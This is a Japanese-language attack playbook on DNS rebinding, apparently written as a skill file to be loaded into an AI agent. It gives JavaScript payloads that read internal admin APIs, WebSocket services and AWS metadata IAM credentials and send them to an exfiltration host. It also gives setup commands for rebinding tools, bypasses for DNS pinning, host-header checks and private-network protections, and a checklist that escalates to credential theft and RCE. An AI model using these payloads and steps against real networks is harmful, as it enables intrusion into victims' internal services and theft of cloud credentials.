SKILL: DNS Rebinding — 専門的攻撃プレイブック

AI LOAD INSTRUCTION: DNS 操作による same-origin policy バイパスの専門的テクニック。TTL トリック、ブラウザキャッシュのバイパス、攻撃バリエーション (HTTP、WebSocket、TOCTOU)、内部サービスターゲッティング、ツール使用方法をカバーします。基本モデルは DNS rebinding を SSRF と混同します — このスキルはクライアント側の性質と独自のエクスプロイトパスを明確化します。

0. 関連ルーティング

• ssrf-server-side-request-forgery — サーバー側バリエーション; DNS rebinding はクライアント側の対応物
• cors-cross-origin-misconfiguration — CORS の設定ミスが直接的なクロスオリジン読み込みを許可する場合

---

1. コア原理

ブラウザの同一オリジンポリシーは プロトコル + ホスト + ポート にバインドされます。ホストは接続時に DNS で解決されます。攻撃者が attacker.com の DNS サーバーを制御している場合、以下が可能です：

1. 最初の解決 → 攻撃者 IP (悪意のある JS を提供)
2. 2 番目の解決 → 内部 IP (被害者のネットワーク)
3. ブラウザは両方の応答を同一オリジン (attacker.com) と見なす
4. 悪意のある JS が内部サービスからレスポンスを読み込む

被害者が attacker.com を訪問
        │
        ▼
DNS クエリ: attacker.com → 1.2.3.4 (攻撃者サーバー)
ブラウザが 1.2.3.4 から悪意のある JS をロード
        │
        ▼
TTL が期限切れ (または強制フラッシュ)
        │
        ▼
JS が attacker.com への新規リクエストをトリガー
DNS クエリ: attacker.com → 192.168.1.1 (内部ターゲット)
ブラウザが "attacker.com" オリジンとして 192.168.1.1 にリクエストを送信
        │
        ▼
JS がレスポンスを読み込む — 同一オリジンポリシー満たされる
攻撃者の別のエンドポイントへデータを流出

重要な洞察: SOP はホスト名文字列をチェックし、解決された IP ではなく、DNS が同じホスト名の背後の IP を変更できます。

---

2. TTL 操作

DNS サーバー設定

攻撃者は、レスポンスを交互に返すそのドメインの権威 DNS サーバーを実行します：

クエリ #	レスポンス	TTL
1 番目	攻撃者 IP (例: 1.2.3.4)	0
2 番目以降	ターゲット内部 IP (例: 192.168.1.1)	0

TTL=0 はリゾルバーに結果をキャッシュしないよう指示し、次の接続時に再解決を強制します。

ブラウザ DNS キャッシュの現実

ブラウザは低い TTL を無視する独自の DNS キャッシュを維持します：

ブラウザ	内部 DNS キャッシュ	バイパス技法
Chrome	最小 ~60 秒	60 秒待つ; または複数のサブドメインを使用
Firefox	~60 秒 (network.dnsCacheExpiration)	about:config で調整可能
Safari	~様々	一般的により短いキャッシュ
Edge (Chromium)	Chrome と同じ (~60 秒)	Chrome と同じテクニック

バイパス戦略

1. 複数 A レコード技法:
   - 単一の DNS レスポンスで攻撃者 IP とターゲット IP の両方を返す
   - ブラウザが最初の IP を試す; 接続に失敗 → 2 番目にフォールバック
   - 初期ページロード後に攻撃者 IP をブロック → 内部 IP へのフォールバックを強制
   
2. サブドメインフラッディング:
   - 一意のサブドメインを使用: a1.rebind.attacker.com, a2.rebind.attacker.com...
   - 各サブドメインは新規 DNS 解決を取得 (キャッシュヒットなし)
   
3. Service Worker フラッシュ:
   - リクエストをインターセプトして遅延する Service Worker を登録
   - fetch が実行される時点で DNS キャッシュが期限切れ

---

3. 攻撃バリエーション

3.1 クラシック HTTP Rebinding

ターゲット: 内部ウェブサービス (管理パネル、REST API)

// attacker.com から提供 (最初の DNS 解決 → 攻撃者 IP)
async function exploit() {
    // DNS キャッシュの期限切れを待つ
    await sleep(65000); // Chrome の場合 >60s
    
    // このリクエストは内部 IP に解決される
    const resp = await fetch('http://attacker.com:8080/api/admin/users');
    const data = await resp.text();
    
    // 異なる攻撃者エンドポイントへ流出
    navigator.sendBeacon('https://exfil.attacker.com/log', data);
}

3.2 WebSocket Rebinding

WebSocket 接続は DNS rebinding 後に保持されます。WS を確立してから rebind:

// Rebinding 後、WebSocket は内部サービスに接続
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
    ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
    fetch('https://exfil.attacker.com/ws-data', {
        method: 'POST',
        body: e.data
    });
};

3.3 Time-of-Check-to-Time-of-Use (TOCTOU)

リクエスト時に DNS を検証しますが、接続を再利用するサーバー側アプリケーション：

1. アプリケーションが URL を受信: http://attacker.com/callback
2. サーバーが attacker.com を解決 → 1.2.3.4 (パブリック IP) → 検証をパス
3. サーバーが接続を開く / リダイレクトに従う
4. DNS が変更: attacker.com → 169.254.169.254
5. 接続再利用またはリダイレクトが内部 IP にヒット

これは SSRF とのハイブリッド — rebinding がサーバーのリゾルバーで発生します。

3.4 複数 A レコード (最速バリエーション)

attacker.com の DNS レスポンス:
  A  1.2.3.4       (攻撃者 — JS を提供)
  A  192.168.1.1   (ターゲット — 内部サービス)
  
1. ブラウザが 1.2.3.4 に接続、JS を含むページをロード
2. 攻撃者ファイアウォールが被害者からの 1.2.3.4 への接続をブロック
3. JS が attacker.com への新規リクエストを作成
4. ブラウザが 1.2.3.4 を試す → 接続拒否
5. 192.168.1.1 にフォールバック → 依然として同一オリジン
6. レスポンス JS で読み込み可能

---

4. 高価値ターゲット

ターゲット	ポート	理由
クラウドメタデータ	169.254.169.254:80	AWS/GCP/Azure インスタンス認証情報、トークン
Docker API	172.17.0.1:2375	コンテナ作成、ホストファイルシステムマウント → RCE
Kubernetes API	10.96.0.1:443/6443	Pod 作成、シークレット読み込み
内部管理パネル	様々	ルータ設定、NAS、プリンタ、SCADA
IoT デバイス	192.168.x.x:80/443	カメラフィード、スマートホームコントロール
Elasticsearch	*:9200	データ流出、インデックス操作
Redis	*:6379	データ読み込み、RCE 用設定セット
Consul/etcd	*:8500/2379	サービスディスカバリー、シークレットストレージ

クラウドメタデータ特有

// Rebinding 経由の AWS メタデータ
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(role => {
        return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
    })
    .then(r => r.json())
    .then(creds => {
        navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
    });
// Rebinding 後、attacker.com は 169.254.169.254 に解決される
// ブラウザが Host: attacker.com を送信、IMDSv1 はホストヘッダーをチェックしない

IMDSv2 防御: PUT リクエストからの X-aws-ec2-metadata-token ヘッダーが必須。Rebinding は no-cors モードでの初期トークンリクエストにカスタムヘッダーを簡単に設定できません。

---

5. ツール

ツール	目的	URL
Singularity	フル DNS rebinding 攻撃フレームワーク	github.com/nccgroup/singularity
rbndr.us	クイック rebind DNS サービス (サブドメイン内 IP ペア)	rbndr.us
whonow	動的 DNS rebinding サーバー	github.com/taviso/whonow
dnsrebinder	ミニマル Python DNS サーバー (rebinding 用)	Custom / 様々のリポジトリ

Singularity クイックスタート

# クローンとビルド
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go

# 攻撃者 IP からターゲット IP への rebind で起動
./singularity -DNSRebindStrategy round-robin \
    -ResponseIPAddr 1.2.3.4 \
    -RebindingFn sequential \
    -ResponseReboundIPAddr 192.168.1.1

rbndr.us (ゼロセットアップ)

フォーマット: <hex-ip1>.<hex-ip2>.rbndr.us
例: 7f000001.c0a80101.rbndr.us
  → 127.0.0.1 と 192.168.1.1 の間で交互
  
IP を 16 進数に変換:
  192.168.1.1 → c0.a8.01.01 → c0a80101
  127.0.0.1   → 7f.00.00.01 → 7f000001

---

6. DNS REBINDING vs. SSRF

側面	DNS Rebinding	SSRF
実行コンテキスト	クライアント側 (ブラウザ)	サーバー側
オリジンバイパス	同一オリジンポリシー	ネットワークアクセス制御
攻撃者が制御	DNS 解決	サーバーが送信する URL/リクエスト
必要なもの	被害者が攻撃者ページを訪問	脆弱なサーバー側 fetch
内部アクセス経由	被害者ネットワーク上のブラウザ	サーバーのネットワーク位置
認証情報の含有	ブラウザクッキー自動含有	ユーザー認証情報なし
プロトコルサポート	HTTP/WS (ブラウザ制限)	任意のプロトコル (gopher、file など)

重大な違い: DNS rebinding は被害者のブラウザをピボットポイントとして活用するため、被害者のネットワークから見える被害者のクッキー/認証情報でサービスにアクセスします。

---

7. 防御と防御バイパス

一般的な防御

防御	動作方法
DNS ピニング	ブラウザ/リゾルバーが DNS をキャッシュして再解決を拒否
ホストヘッダー検証	サーバーが予期しない Host ヘッダーを持つリクエストを拒否
ネットワークセグメンテーション	内部サービスがブラウザネットワークから到達不可
プライベートネットワークアクセス (PNA)	Chrome 提案: プライベート IP へのリクエストにプリフライト
内部サービスの認証	内部サービスが認証を必須、ネットワークアクセスだけでは不可

防御バイパステクニック

DNS ピニングバイパス:
├── 複数 A レコード → 接続失敗がフォールバックを強制
├── リクエストごとのサブドメイン → キャッシュヒットなし
├── キャッシュ期限切れを待つ (Chrome: 60 秒)
└── CNAME チェーン経由の rebind (ピニングが困難)

ホストヘッダー検証バイパス:
├── 内部サービスはホストヘッダーをチェックしないかもしれない
├── Host: attacker.com がデフォルト設定で受け入れられる
├── IP ベースの vhost はホストをチェックしない
└── ワイルドカード vhost 設定

プライベートネットワークアクセス (PNA) バイパス:
├── PNA は Chrome のみ (2024 年時点)、部分的実装
├── WebSocket 接続はプリフライトをトリガーしないかもしれない
├── HTTPS → HTTP ダウングレード シナリオ
└── ブラウザ以外のクライアントは影響を受けない

---

8. 判定木

被害者のブラウザから内部サービスにアクセスしたい?
│
├── 被害者があなたのページを訪問させられるか?
│   ├── はい → DNS rebinding は実行可能
│   │   │
│   │   ├── ターゲットは何か?
│   │   │   ├── HTTP サービス → クラシック rebinding (セクション 3.1)
│   │   │   ├── WebSocket サービス → WS rebinding (セクション 3.2)
│   │   │   └── クラウドメタデータ → メタデータ流出 (セクション 4)
│   │   │
│   │   ├── ブラウザキャッシュについて懸念?
│   │   │   ├── Chrome → 60 秒待つまたは複数のサブドメインを使用
│   │   │   ├── Firefox → 60 秒待つまたは dnsCacheExpiration を調整
│   │   │   └── 複数 A レコード技法を使用してインスタント rebind
│   │   │
│   │   ├── ターゲットがホストヘッダーをチェックするか?
│   │   │   ├── はい → Rebinding だけでは動作しない
│   │   │   │   └── SSRF をチェック (../ssrf-server-side-request-forgery/)
│   │   │   └── いいえ → Rebinding を続行
│   │   │
│   │   └── 認証情報が必要か?
│   │       ├── ブラウザ自動送信クッキー → same-site が許可する場合は動作
│   │       └── カスタム認証ヘッダーが必須 → 制限あり (no-cors ではカスタムヘッダーを送信しない)
│   │
│   └── いいえ → DNS rebinding は適用不可
│       └── サーバー側 fetch がある場合は SSRF を検討
│
└── これはサーバー側 DNS 検証バイパスか? (TOCTOU)
    ├── はい → ハイブリッドアプローチ (セクション 3.3)
    │   └── IP 検証バイパスのための SSRF と DNS rebinding
    └── いいえ → ../ssrf-server-side-request-forgery/ をレビュー

---

9. 実世界エクスプロイテーションチェックリスト

□ DNS rebinding インフラストラクチャをセットアップ (Singularity / rbndr.us / カスタム)
□ ターゲット内部サービスを特定 (可能な場合、被害者コンテキストからのポートスキャン)
□ ターゲットブラウザのブラウザ DNS キャッシュ期間を決定
□ Rebinding バリエーションを選択 (クラシック / マルチ-A / サブドメインフラッド)
□ 良性内部エンドポイント (例: ルータの /) で最初にテスト
□ Rebind 後の同一オリジン読み込みが動作することを確認
□ エスカレーション: クラウドメタデータ → 認証情報、Docker API → RCE、管理パネル → 設定
□ 文書化: attacker.com DNS 設定、JS ペイロード、rebind タイミング、流出データ